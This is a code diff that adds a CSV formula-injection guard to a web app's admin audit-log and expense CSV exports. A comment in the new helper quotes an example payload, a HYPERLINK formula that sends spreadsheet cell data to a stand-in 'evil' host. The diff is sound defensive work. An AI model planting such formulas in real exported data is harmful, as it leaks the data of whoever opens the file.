diff --git a/src/app/api/v1/admin/audit/export/route.ts b/src/app/api/v1/admin/audit/export/route.ts index 2a1c2406..e361d000 100644 --- a/src/app/api/v1/admin/audit/export/route.ts +++ b/src/app/api/v1/admin/audit/export/route.ts @@ -1,6 +1,7 @@ import { NextResponse } from 'next/server'; import { withAuth, withPermission } from '@/lib/api/helpers'; +import { sanitizeCsvCell } from '@/lib/csv/sanitize-csv-cell'; import { errorResponse } from '@/lib/errors'; import { searchAuditLogs } from '@/lib/services/audit-search.service'; @@ -94,7 +95,10 @@ function buildCsv(rows: Awaited>['rows']): st const escape = (v: unknown): string => { if (v === null || v === undefined) return ''; - const s = typeof v === 'object' ? JSON.stringify(v) : String(v); + const raw = typeof v === 'object' ? JSON.stringify(v) : String(v); + // Neutralize spreadsheet formula triggers before RFC 4180 framing — + // the leading quote is part of the cell value, not the CSV escaping. + const s = sanitizeCsvCell(raw); if (/[",\n\r]/.test(s)) { return `"${s.replace(/"/g, '""')}"`; } diff --git a/src/lib/csv/sanitize-csv-cell.ts b/src/lib/csv/sanitize-csv-cell.ts new file mode 100644 index 00000000..49c15f26 --- /dev/null +++ b/src/lib/csv/sanitize-csv-cell.ts @@ -0,0 +1,27 @@ +/** + * CSV formula-injection defense. + * + * Spreadsheet applications (Excel, Google Sheets, LibreOffice Calc) + * interpret any cell whose first character is `=`, `+`, `-`, `@`, a tab + * (`\t`) or a carriage return (`\r`) as a formula. Attacker-seeded + * free-text fields can therefore smuggle payloads like + * `=HYPERLINK("http://evil/?leak="&A1)` that execute the moment an admin + * opens an export. + * + * The standard mitigation is to prefix such values with a single quote, + * which spreadsheets treat as "force text" and strip on display. This is + * a pure function: it only inspects the stringified value and returns a + * neutralized string, never mutating its input. + * + * Apply this BEFORE any RFC 4180 quote-escaping — the leading quote is + * part of the cell's value, not the CSV framing. + */ +const FORMULA_TRIGGERS = new Set(['=', '+', '-', '@', '\t', '\r']); + +export function sanitizeCsvCell(value: unknown): string { + const s = String(value); + if (s.length > 0 && FORMULA_TRIGGERS.has(s[0]!)) { + return `'${s}`; + } + return s; +} diff --git a/src/lib/services/expense-export.tsx b/src/lib/services/expense-export.tsx index 0be39977..92869ed4 100644 --- a/src/lib/services/expense-export.tsx +++ b/src/lib/services/expense-export.tsx @@ -1,6 +1,7 @@ import Papa from 'papaparse'; import { eq, and, gte, lte, isNull, or, ilike } from 'drizzle-orm'; +import { sanitizeCsvCell } from '@/lib/csv/sanitize-csv-cell'; import { db } from '@/lib/db'; import { expenses } from '@/lib/db/schema/financial'; import { ports } from '@/lib/db/schema/ports'; @@ -63,17 +64,21 @@ export async function exportCsv(portId: string, query: ListExpensesInput): Promi // quotes, newlines, BOM) that the hand-rolled escape-and-quote version // missed. Keyed objects let us define column order via `columns` and // get matching headers for free. + // Neutralize spreadsheet formula triggers on user-controlled free-text + // fields before papaparse serializes them (papaparse has no built-in + // CSV-injection guard). Numeric/derived columns are not attacker-seeded + // free text, so they keep their native values and formatting. return Papa.unparse( rows.map((r) => ({ Date: r.expenseDate ? new Date(r.expenseDate).toISOString().split('T')[0] : '', - Establishment: r.establishmentName ?? '', - Category: r.category ?? '', + Establishment: sanitizeCsvCell(r.establishmentName ?? ''), + Category: sanitizeCsvCell(r.category ?? ''), Amount: r.amount, Currency: r.currency, 'Amount USD': r.amountUsd ?? 'N/A', - 'Payment Status': r.paymentStatus ?? '', - 'Payment Method': r.paymentMethod ?? '', - Description: r.description ?? '', + 'Payment Status': sanitizeCsvCell(r.paymentStatus ?? ''), + 'Payment Method': sanitizeCsvCell(r.paymentMethod ?? ''), + Description: sanitizeCsvCell(r.description ?? ''), })), { columns: [